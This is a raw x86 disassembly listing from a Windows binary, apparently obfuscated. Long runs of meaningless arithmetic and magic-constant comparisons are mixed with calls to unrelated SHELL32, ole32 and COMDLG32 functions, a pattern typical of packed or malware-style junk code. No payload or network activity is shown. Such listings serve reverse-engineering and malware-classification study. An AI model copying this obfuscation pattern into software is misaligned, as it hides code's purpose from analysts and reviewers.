mov dword [ebp - 0x1d08], eax
mov ecx, dword [ebp - 0x1720]
or ecx, dword [ebp - 0x214]
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
jmp 0x4d9198
mov eax, dword [section..data]
mov dword [ebp - 0x7a4], eax
lea ecx, [ebp - 0x7a4]
mov dword [ebp - 0x1268], ecx
jmp 0x4d91f0
lea edx, [ebp - 0x8d4]
push edx
lea eax, [ebp - 0x1268]
push eax
lea ecx, [ebp - 0x1268]
push ecx
push 0x63
lea edx, [ebp - 0x1f90]
push edx
call dword [sym.imp.SHELL32.dll_PathMakeUniqueName]
mov dword [ebp - 0x504], eax
mov eax, dword [ebp - 0x1268]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x7a4]
mov edx, dword [ebp - 0x1268]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1268]
mov edx, dword [section..data]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x7a4], edx
mov eax, 0x6ca
mov word [ebp - 0x7c4], ax
mov dword [ebp - 0xf10], 0xe120
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
mov dword [ebp - 0x1fb4], edx
cmp dword [ebp - 0x1fb4], 0x8523d8a6
je 0x4d9222
jmp 0x4d9270
mov eax, dword [ebp - 0x870]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x1720]
shl edx, cl
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
lea ecx, [ebp - 0x7c4]
push ecx
lea edx, [ebp - 0xee4]
push edx
call dword [sym.imp.ole32.dll_CoGetPSClsid]
mov dword [ebp - 0x7cc], eax
push 0x2f
mov eax, dword [ebp - 0x1d08]
push eax
movzx ecx, word [ebp - 0x8d4]
push ecx
push 0x5b
push 0x61
call fcn.00429f50
jmp 0x4d929c
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
and eax, dword [ebp - 0x214]
mov dword [ebp - 0x1d08], eax
lea ecx, [ebp - 0x7a4]
mov dword [ebp - 0x1400], ecx
mov edx, dword [ebp - 0x7a4]
mov dword [ebp - 0x12c], edx
lea eax, [ebp - 0x1720]
mov dword [ebp - 0x9b8], eax
mov ecx, dword [ebp - 0xaf0]
movsx edx, word [ecx]
mov dword [ebp - 0x1fb8], edx
cmp dword [ebp - 0x1fb8], 0x6236
je 0x4d936c
cmp dword [ebp - 0x1fb8], 0x7cba
je 0x4d92d8
jmp 0x4d93f4
mov eax, dword [ebp - 0xaf0]
movsx ecx, word [eax]
mov dword [ebp - 0x1fbc], ecx
cmp dword [ebp - 0x1fbc], 0x2898
je 0x4d92f5
jmp 0x4d9353
mov edx, dword [ebp - 0x9b8]
mov eax, dword [edx]
sub eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 0x9b8]
mov dword [ecx], eax
lea edx, [ebp - 0x1bc]
push edx
push 0x3e
lea eax, [ebp - 0xfc]
push eax
call dword [sym.imp.ole32.dll_CoGetStdMarshalEx]
mov dword [ebp - 0xf2c], eax
movzx ecx, word [ebp - 0x7c4]
sub ecx, 0x605
mov word [ebp - 0x7c4], cx
movsx edx, word [ebp - 0x8d4]
sub edx, 0x2dc5
mov eax, dword [ebp - 0xaf0]
mov word [eax], dx
jmp 0x4d9367
movzx ecx, word [ebp - 0x7c4]
add ecx, 0x4eb
mov word [ebp - 0x7c4], cx
jmp 0x4d93f4
call dword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [ebp - 0x214], eax
movzx edx, word [ebp - 0x7c4]
mov dword [ebp - 0x1fc0], edx
cmp dword [ebp - 0x1fc0], 0x272
je 0x4d939f
cmp dword [ebp - 0x1fc0], 0x8dc
je 0x4d93de
jmp 0x4d93f4
mov eax, dword [ebp - 0x9b8]
mov ecx, dword [ebp - 0x1d08]
add ecx, dword [eax]
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1400]
mov ecx, dword [ebp - 0x1268]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x12c], edx
mov eax, dword [ebp - 0x7a4]
push eax
push 7
call fcn.004ef7c0
add esp, 8
jmp 0x4d93f4
mov ecx, dword [ebp - 0x9b8]
mov edx, dword [ecx]
add edx, dword [ebp - 0x1d08]
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1268]
mov edx, dword [ecx]
mov dword [ebp - 0x1fc4], edx
cmp dword [ebp - 0x1fc4], 0x5c251aae
je 0x4d9413
jmp 0x4d94a7
movsx eax, word [ebp - 0x8d4]
mov dword [ebp - 0x1fc8], eax
cmp dword [ebp - 0x1fc8], 0x679a
je 0x4d942e
jmp 0x4d9494
lea ecx, [ebp - 0x9b8]
push ecx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
movzx edx, word [ebp - 0x7c4]
add edx, 0x799
mov word [ebp - 0x7c4], dx
mov eax, dword [ebp - 0x1400]
mov ecx, dword [ebp - 0x7a4]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x1268]
mov dword [edx], ecx
lea eax, [ebp - 0xee4]
push eax
push 0xd3
lea ecx, [ebp - 0x1d4]
push ecx
lea edx, [ebp - 0x1f90]
push edx
mov eax, dword [ebp - 0xd78]
push eax
call dword [sym.imp.SHELL32.dll_SHDoDragDrop]
mov dword [ebp - 0x7cc], eax
jmp 0x4d94a5
mov ecx, dword [ebp - 0x7a4]
push ecx
push 0x4b
call fcn.004ef7c0
add esp, 8
jmp 0x4d94d1
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x7a4]
mov dword [ebp - 0x4c4], ecx
lea edx, [ebp - 0x7a4]
mov dword [ebp - 0x610], edx
mov byte [ebp - 0x4a9], 0x94
mov ax, word [ebp - 0x7c4]
mov word [ebp - 0x10d8], ax
cmp dword [ebp - 0xdfc], 0xb578
jae 0x4d97a2
mov ecx, dword [ebp - 0x9b8]
mov edx, dword [ebp - 0x214]
xor edx, dword [ecx]
mov dword [ebp - 0x1d08], edx
mov eax, dword [ebp - 0x610]
mov ecx, dword [ebp - 0x7a4]
or ecx, dword [eax]
mov edx, dword [ebp - 0x1400]
mov dword [edx], ecx
mov eax, dword [ebp - 0x7a4]
mov ecx, dword [ebp - 0x12c]
shl eax, cl
mov dword [ebp - 0x4c4], eax
mov edx, dword [ebp - 0x7a4]
mov ecx, dword [ebp - 0x12c]
sar edx, cl
mov dword [ebp - 0x4c4], edx
mov eax, dword [ebp - 0x7a4]
and eax, dword [ebp - 0x12c]
mov dword [ebp - 0x4c4], eax
mov ecx, dword [ebp - 0xaf0]
movsx edx, word [ecx]
add edx, 0x57d1
mov word [ebp - 0x8d4], dx
mov eax, dword [ebp - 0xaf0]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x8d4]
sub ecx, edx
mov eax, dword [ebp - 0xaf0]
mov word [eax], cx
movzx ecx, byte [ebp - 0x4a9]
add ecx, 0xc6
mov byte [ebp - 0x4a9], cl
movsx edx, word [ebp - 0x8d4]
sub edx, 0x886
mov eax, dword [ebp - 0xaf0]
mov word [eax], dx
mov ecx, dword [ebp - 0x9b8]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x1d08]
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
add edx, dword [ebp - 0x214]
mov eax, dword [ebp - 0x9b8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x9b8]
mov edx, dword [ebp - 0x18]
and edx, dword [ecx]
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
movzx ecx, word [ebp - 0x10d8]
add ecx, 0x287
mov word [ebp - 0x7c4], cx
mov edx, dword [ebp - 0x610]
mov eax, dword [ebp - 0x1268]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0x12c], ecx
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x214], edx
mov eax, dword [ebp - 0x1400]
mov ecx, dword [ebp - 0x610]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x1268]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4c4]
xor ecx, dword [ebp - 0x12c]
mov edx, dword [ebp - 0x610]
mov dword [edx], ecx
mov eax, dword [ebp - 0xaf0]
movsx edx, word [eax]
movsx ecx, word [ebp - 0x8d4]
sar edx, cl
mov eax, dword [ebp - 0xaf0]
mov word [eax], dx
movsx ecx, word [ebp - 0x8d4]
add ecx, 0x11f4
mov edx, dword [ebp - 0xaf0]
mov word [edx], cx
mov eax, dword [ebp - 0x870]
mov ecx, dword [ebp - 0x9b8]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0xdfc]
add eax, 0xe2
mov dword [ebp - 0xdfc], eax
mov ecx, dword [ebp - 0x12c]
sub ecx, dword [ebp - 0x7a4]
mov edx, dword [ebp - 0x1400]
mov dword [edx], ecx
mov eax, dword [ebp - 0xaf0]
movsx ecx, word [eax]
sub ecx, 0xa3c
mov word [ebp - 0x8d4], cx
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
add eax, dword [ebp - 0x1720]
mov ecx, dword [ebp - 0x9b8]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x4a9]
sub edx, 0xc1
mov byte [ebp - 0x4a9], dl
mov eax, dword [ebp - 0x9b8]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x214]
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1720]
sub eax, dword [ebp - 0x1d08]
mov ecx, dword [ebp - 0x9b8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x610]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1400]
add eax, dword [ecx]
mov edx, dword [ebp - 0x1268]
mov dword [edx], eax
mov eax, dword [ebp - 0x1400]
mov ecx, dword [ebp - 0x610]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x1268]
mov dword [eax], edx
mov ecx, dword [ebp - 0x18]
or ecx, dword [ebp - 0x214]
mov dword [ebp - 0x1d08], ecx
mov edx, dword [ebp - 0x610]
mov eax, dword [edx]
xor eax, dword [ebp - 0x4c4]
mov dword [ebp - 0x7a4], eax
mov ecx, dword [ebp - 0xaf0]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x8d4]
shl edx, cl
mov eax, dword [ebp - 0xaf0]
mov word [eax], dx
movzx ecx, byte [ebp - 0x4a9]
sar ecx, 3
mov byte [ebp - 0x4a9], cl
jmp 0x4d94df
mov edx, dword [ebp - 0x12c]
mov dword [ebp - 0x1fcc], edx
cmp dword [ebp - 0x1fcc], 0x285e7c40
je 0x4d97fa
cmp dword [ebp - 0x1fcc], 0x5f41856b
je 0x4d97cb
jmp 0x4d98b1
mov eax, dword [ebp - 0x1400]
mov ecx, dword [ebp - 0x4c4]
sub ecx, dword [eax]
mov dword [ebp - 0x7a4], ecx
mov edx, dword [ebp - 0x9b8]
mov eax, dword [ebp - 0x1d08]
add eax, dword [edx]
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
jmp 0x4d98b1
movsx edx, word [ebp - 0x8d4]
mov dword [ebp - 0x1fd0], edx
cmp dword [ebp - 0x1fd0], 0x4f93
je 0x4d9882
cmp dword [ebp - 0x1fd0], 0x7937
je 0x4d9824
jmp 0x4d98b1
lea eax, [ebp - 0x8d4]
push eax
lea ecx, [ebp - 0x7a4]
push ecx
call dword [sym.imp.SHELL32.dll_ILFindChild]
mov dword [ebp - 0x1190], eax
mov edx, dword [ebp - 0x610]
mov eax, dword [edx]
and eax, dword [ebp - 0x7a4]
mov ecx, dword [ebp - 0x610]
mov dword [ecx], eax
call fcn.004d7e60
mov edx, dword [ebp - 0x1268]
mov eax, dword [ebp - 0x12c]
sub eax, dword [edx]
mov dword [ebp - 0x4c4], eax
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
add edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x9b8]
mov dword [eax], edx
jmp 0x4d98b1
push 0x7e
lea ecx, [ebp - 0x4a9]
push ecx
push 0xa4
lea edx, [ebp - 0x1bc]
push edx
lea eax, [ebp - 0x758]
push eax
lea ecx, [ebp - 0x4a9]
push ecx
call dword [sym.imp.ole32.dll_CoGetMarshalSizeMax]
mov dword [ebp - 0x590], eax
lea edx, [ebp - 0x7c4]
mov dword [ebp - 0xc98], edx
lea eax, [ebp - 0x8d4]
mov dword [ebp - 0x558], eax
mov ecx, dword [ebp - 0x9b8]
mov edx, dword [ebp - 0x1720]
sub edx, dword [ecx]
mov dword [ebp - 0x214], edx
lea eax, [ebp - 0x7a4]
mov dword [ebp - 0x2c8], eax
lea ecx, [ebp - 0x10d8]
mov dword [ebp - 0xf08], ecx
mov dl, byte [ebp - 0x4a9]
mov byte [ebp - 0x6ad], dl
mov al, byte [ebp - 0x4a9]
mov byte [ebp - 0x1fd4], al
cmp byte [ebp - 0x1fd4], 0x1b
je 0x4d9945
cmp byte [ebp - 0x1fd4], 0xc5
je 0x4d9921
jmp 0x4d9983
movzx ecx, byte [ebp - 0x4a9]
push ecx
mov edx, dword [ebp - 0x1d08]
push edx
mov eax, dword [ebp - 0x558]
movzx ecx, word [eax]
push ecx
push 0xffffffffffffffd6
push 0xffffffffffffffc2
call fcn.00429f50
jmp 0x4d9983
mov edx, dword [ebp - 0x1720]
add edx, dword [ebp - 0x214]
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
push 0x38
mov ecx, dword [ebp - 0xb24]
push ecx
mov edx, dword [ebp - 0xd78]
push edx
call dword [sym.imp.COMCTL32.dll_DrawInsert]
mov eax, dword [ebp - 0x1268]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x12c]
mov dword [ebp - 0x4c4], ecx
mov edx, dword [ebp - 0x1268]
mov eax, dword [edx]
add eax, dword [ebp - 0x7a4]
mov ecx, dword [ebp - 0x1400]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x610]
add edx, dword [ecx]
cmp eax, edx
jl 0x4d9a20
mov edx, dword [ebp - 0x4c4]
sub edx, dword [ebp - 0x7a4]
mov dword [ebp - 0x12c], edx
mov dword [ebp - 0x724], 0xa0b9
lea eax, [ebp - 0x18]
mov dword [ebp - 0xa7c], eax
lea ecx, [ebp - 0x7c4]
mov dword [ebp - 0x1cb8], ecx
mov dword [ebp - 0x854], 0x3758
movzx edx, byte [ebp - 0x4a9]
movzx ecx, byte [ebp - 0x6ad]
shl edx, cl
mov byte [ebp - 0x1b15], dl
lea eax, [ebp - 0x7a4]
mov dword [ebp - 0x4c0], eax
mov dword [ebp - 0x1b38], 0x3d45
mov ecx, dword [ebp - 0x4c4]
xor ecx, dword [ebp - 0x12c]
mov edx, dword [ebp - 0x610]
mov dword [edx], ecx
cmp dword [ebp - 0x854], 0x3cb8
je 0x4d9d20
mov eax, dword [ebp - 0x9b8]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x18]
shr edx, cl
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
mov ecx, dword [ebp - 0x12c]
or ecx, dword [ebp - 0x4c4]
mov edx, dword [ebp - 0x1268]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1268]
mov ecx, dword [ebp - 0x610]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x4c4], edx
movzx eax, byte [ebp - 0x4a9]
movzx ecx, byte [ebp - 0x1b15]
add eax, ecx
mov byte [ebp - 0x6ad], al
mov edx, dword [ebp - 0x558]
movsx eax, word [edx]
mov ecx, dword [ebp - 0xaf0]
movsx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x8d4], ax
movzx eax, word [ebp - 0x7c4]
movzx ecx, word [ebp - 0x10d8]
and eax, ecx
mov edx, dword [ebp - 0x1cb8]
mov word [edx], ax
movzx eax, byte [ebp - 0x1b15]
movzx ecx, byte [ebp - 0x4a9]
add eax, ecx
mov byte [ebp - 0x6ad], al
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
sub eax, dword [ebp - 0x214]
mov dword [ebp - 0x1d08], eax
mov ecx, dword [ebp - 0x2c8]
mov edx, dword [ebp - 0x7a4]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x610]
mov dword [eax], edx
mov ecx, dword [ebp - 0xc98]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x1cb8]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0xf08]
mov word [eax], dx
movzx ecx, word [ebp - 0x7c4]
mov edx, dword [ebp - 0xf08]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0xc98]
mov word [edx], cx
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 0x18]
shr eax, cl
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x610]
mov eax, dword [ebp - 0x1268]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x4c0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4c4]
xor ecx, dword [ebp - 0x12c]
mov dword [ebp - 0x7a4], ecx
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
or eax, dword [ebp - 0x18]
mov dword [ebp - 0x1d08], eax
mov ecx, dword [ebp - 0xf08]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x1cb8]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0xc98]
mov word [eax], dx
movzx ecx, word [ebp - 0x7c4]
movzx edx, word [ebp - 0x10d8]
add ecx, edx
mov eax, dword [ebp - 0xc98]
mov word [eax], cx
mov ecx, dword [ebp - 0x7a4]
add ecx, dword [ebp - 0x12c]
mov edx, dword [ebp - 0x1400]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4c0]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x4c4]
mov edx, dword [ebp - 0x1400]
mov dword [edx], ecx
movsx eax, word [ebp - 0x8d4]
mov ecx, dword [ebp - 0x558]
movsx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0xaf0]
mov word [ecx], ax
mov edx, dword [ebp - 0x9b8]
mov eax, dword [edx]
mov dword [ebp - 0x1720], eax
movzx ecx, word [ebp - 0x7c4]
mov edx, dword [ebp - 0xc98]
movzx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0xf08]
mov word [edx], cx
movzx eax, word [ebp - 0x10d8]
movzx ecx, word [ebp - 0x7c4]
sub eax, ecx
mov edx, dword [ebp - 0xc98]
mov word [edx], ax
mov eax, dword [ebp - 0x9b8]
mov ecx, dword [ebp - 0xa7c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
mov ecx, dword [ebp - 0x854]
add ecx, 0x20
mov dword [ebp - 0x854], ecx
mov edx, dword [ebp - 0x9b8]
mov eax, dword [edx]
add eax, dword [ebp - 0x1720]
mov dword [ebp - 0x214], eax
mov ecx, dword [ebp - 0x4c0]
mov edx, dword [ebp - 0x12c]
add edx, dword [ecx]
mov eax, dword [ebp - 0x1400]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2c8]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x7a4]
mov eax, dword [ebp - 0x1400]
mov dword [eax], edx
mov edx, dword [ebp - 0x7a4]
mov ecx, dword [ebp - 0x4c4]
shl edx, cl
mov eax, dword [ebp - 0x610]
mov dword [eax], edx
mov ecx, dword [ebp - 0xc98]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x7c4]
or edx, eax
mov ecx, dword [ebp - 0x1cb8]
mov word [ecx], dx
movzx edx, word [ebp - 0x7c4]
mov eax, dword [ebp - 0xc98]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x10d8], dx
mov ecx, dword [ebp - 0x9b8]
mov edx, dword [ebp - 0x870]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x1720], eax
mov ecx, dword [ebp - 0x2c8]
mov edx, dword [ebp - 0x4c4]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x4c0]
mov dword [eax], edx
jmp 0x4d9a20
mov ecx, dword [ebp - 0x4c0]
mov edx, dword [ecx]
add edx, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x1400]
mov dword [eax], edx
movzx ecx, word [ebp - 0x10d8]
mov edx, dword [ebp - 0xf08]
movzx eax, word [edx]
sub ecx, eax
movzx edx, word [ebp - 0x7c4]
mov eax, dword [ebp - 0x1cb8]
movzx eax, word [eax]
sub edx, eax
cmp ecx, edx
je 0x4d9d78
movzx ecx, byte [ebp - 0x1b15]
push ecx
movzx edx, word [ebp - 0x7c4]
push edx
call section..text
jmp 0x4d9e8a
mov eax, dword [ebp - 0x610]
mov ecx, dword [ebp - 0x4c4]
add ecx, dword [eax]
mov edx, dword [ebp - 0x12c]
and edx, dword [ebp - 0x7a4]
cmp ecx, edx
jle 0x4d9e8a
movzx eax, byte [ebp - 0x4a9]
movzx ecx, byte [ebp - 0x1b15]
sub eax, ecx
movzx edx, byte [ebp - 0x6ad]
cmp eax, edx
jl 0x4d9e5b
mov eax, dword [ebp - 0x9b8]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x214]
mov edx, dword [ebp - 0x9b8]
mov dword [edx], ecx
mov eax, dword [ebp - 0xf08]
movzx edx, word [eax]
mov eax, dword [ebp - 0x1cb8]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x7c4], dx
lea ecx, [ebp - 0xee4]
push ecx
push 0xc7
lea edx, [ebp - 0x1f10]
push edx
push 0xd2
lea eax, [ebp - 0x1b15]
push eax
lea ecx, [ebp - 0x590]
push ecx
lea edx, [ebp - 0x1f90]
push edx
call dword [sym.imp.ole32.dll_CoGetInstanceFromIStorage]
mov dword [ebp - 0x590], eax
movsx eax, word [ebp - 0x8d4]
mov ecx, dword [ebp - 0xaf0]
movsx ecx, word [ecx]
sar eax, cl
mov edx, dword [ebp - 0x558]
mov word [edx], ax
mov eax, dword [ebp - 0xaf0]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x558]
movsx eax, word [edx]
xor ecx, eax
mov word [ebp - 0x8d4], cx
jmp 0x4d9e8a
movzx ecx, byte [ebp - 0x4a9]
movzx edx, byte [ebp - 0x1b15]
add ecx, edx
movzx eax, byte [ebp - 0x6ad]
cmp ecx, eax
je 0x4d9e8a
mov ecx, dword [ebp - 0x12c]
or ecx, dword [ebp - 0x4c4]
mov edx, dword [ebp - 0x610]
mov dword [edx], ecx
lea eax, [ebp - 0x214]
mov dword [ebp - 0xe24], eax
mov dword [ebp - 0x22c], 0x5375
cmp dword [ebp - 0x22c], 0x6e45
jae 0x4da0c1
mov ecx, dword [ebp - 0x2c8]
mov edx, dword [ebp - 0x7a4]
and edx, dword [ecx]
mov eax, dword [ebp - 0x1268]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x6ad]
movzx edx, byte [ebp - 0x1b15]
add ecx, edx
mov byte [ebp - 0x4a9], cl
mov eax, dword [ebp - 0xc98]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x7c4]
add ecx, edx
mov word [ebp - 0x10d8], cx
mov eax, dword [ebp - 0x4c0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1400]
add ecx, dword [edx]
mov eax, dword [ebp - 0x610]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x9b8]
mov edx, dword [ebp - 0x1d08]
sub edx, dword [ecx]
mov dword [ebp - 0x214], edx
mov eax, dword [ebp - 0x7a4]
sub eax, dword [ebp - 0x4c4]
mov dword [ebp - 0x12c], eax
mov ecx, dword [ebp - 0x1400]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x4c0]
mov dword [eax], edx
movzx ecx, word [ebp - 0x10d8]
movzx edx, word [ebp - 0x7c4]
and ecx, edx
mov eax, dword [ebp - 0xc98]
mov word [eax], cx
movzx ecx, word [ebp - 0x10d8]
mov edx, dword [ebp - 0xf08]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x7c4], cx
mov edx, dword [ebp - 0x1720]
mov ecx, dword [ebp - 0x1d08]
shr edx, cl
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
mov ecx, dword [ebp - 0x22c]
add ecx, 0x84
mov dword [ebp - 0x22c], ecx
mov edx, dword [ebp - 0x4c0]
mov eax, dword [ebp - 0x7a4]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x2c8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2c8]
mov eax, dword [ebp - 0x610]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x4c0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4c0]
mov edx, dword [ebp - 0x2c8]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x1268]
mov dword [ecx], eax
mov edx, dword [ebp - 0x610]
mov eax, dword [edx]
add eax, dword [ebp - 0x4c4]
mov ecx, dword [ebp - 0x1400]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1d08]
and edx, dword [ebp - 0x18]
mov dword [ebp - 0x1720], edx
mov eax, dword [ebp - 0x558]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x8d4]
sub ecx, edx
mov eax, dword [ebp - 0x558]
mov word [eax], cx
movzx ecx, byte [ebp - 0x4a9]
movzx edx, byte [ebp - 0x6ad]
sub ecx, edx
mov byte [ebp - 0x1b15], cl
mov eax, dword [ebp - 0xc98]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x7c4]
sub ecx, edx
mov eax, dword [ebp - 0x1cb8]
mov word [eax], cx
mov ecx, dword [ebp - 0x9b8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xa7c]
add edx, dword [eax]
mov dword [ebp - 0x1d08], edx
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x1d08]
mov dword [ebp - 0x214], edx
mov eax, dword [ebp - 0xf08]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x10d8]
sub ecx, edx
mov eax, dword [ebp - 0x1cb8]
mov word [eax], cx
mov ecx, dword [ebp - 0x1cb8]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xc98]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x10d8], dx
jmp 0x4d9ea0
mov edx, dword [ebp - 0xaf0]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x8d4]
and eax, ecx
mov edx, dword [ebp - 0x558]
movsx ecx, word [edx]
cmp eax, ecx
jge 0x4da1b8
lea edx, [ebp - 0xaf0]
push edx
call dword [sym.imp.SHELL32.dll_ILFindLastID]
mov dword [ebp - 0x4f0], eax
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [ebp - 0x1400]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x12c], edx
mov eax, dword [ebp - 0xe24]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov al, byte [ebp - 0x4a9]
mov byte [ebp - 0x1fd8], al
cmp byte [ebp - 0x1fd8], 0x3e
je 0x4da139
jmp 0x4da1a0
mov ecx, dword [ebp - 0x1e1c]
push ecx
mov edx, dword [ebp - 0x644]
push edx
mov eax, dword [ebp - 0x67c]
push eax
mov ecx, dword [ebp - 0x1df8]
push ecx
call dword [sym.imp.SHELL32.dll_ShellAboutW]
mov dword [ebp - 0x1108], eax
mov edx, dword [ebp - 0x1400]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x4c4]
sar eax, cl
mov dword [ebp - 0x12c], eax
mov ecx, dword [ebp - 0x610]
mov edx, dword [ebp - 0x7a4]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x4c0]
mov dword [eax], edx
mov edx, dword [ebp - 0x1720]
mov ecx, dword [ebp - 0x7c4]
call fcn.004721c0
jmp 0x4da1b3
lea ecx, [ebp - 0x1be0]
push ecx
call dword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [ebp - 0xbc0], eax
jmp 0x4da2bc
mov edx, dword [ebp - 0xaf0]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x8d4]
xor eax, ecx
mov edx, dword [ebp - 0x558]
movsx ecx, word [edx]
cmp eax, ecx
je 0x4da2bc
movzx edx, word [ebp - 0x7c4]
mov eax, dword [ebp - 0xc98]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x1cb8]
movzx ecx, word [eax]
mov eax, dword [ebp - 0xf08]
movzx eax, word [eax]
and ecx, eax
cmp edx, ecx
jne 0x4da26f
mov ecx, dword [ebp - 0x214]
mov dword [ebp - 0x1fdc], ecx
cmp dword [ebp - 0x1fdc], 0x1de5e68
je 0x4da259
cmp dword [ebp - 0x1fdc], 0xc6866f49
je 0x4da22b
jmp 0x4da26f
movzx edx, word [ebp - 0x10d8]
mov eax, dword [ebp - 0xc98]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0xf08]
mov word [eax], dx
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc98]
mov cx, word [ecx]
call fcn.004721c0
jmp 0x4da26f
movzx edx, byte [ebp - 0x6ad]
movzx eax, byte [ebp - 0x1b15]
add edx, eax
mov byte [ebp - 0x4a9], dl
mov ecx, dword [ebp - 0x870]
mov edx, dword [ebp - 0x1d08]
add edx, dword [ecx]
mov eax, dword [ebp - 0x9b8]
mov dword [eax], edx
lea ecx, [ebp - 0x1108]
push ecx
lea edx, [ebp - 0x758]
push edx
lea eax, [ebp - 0x1be0]
push eax
call dword [sym.imp.ole32.dll_MonikerCommonPrefixWith]
mov dword [ebp - 0x7cc], eax
mov ecx, dword [ebp - 0x4c0]
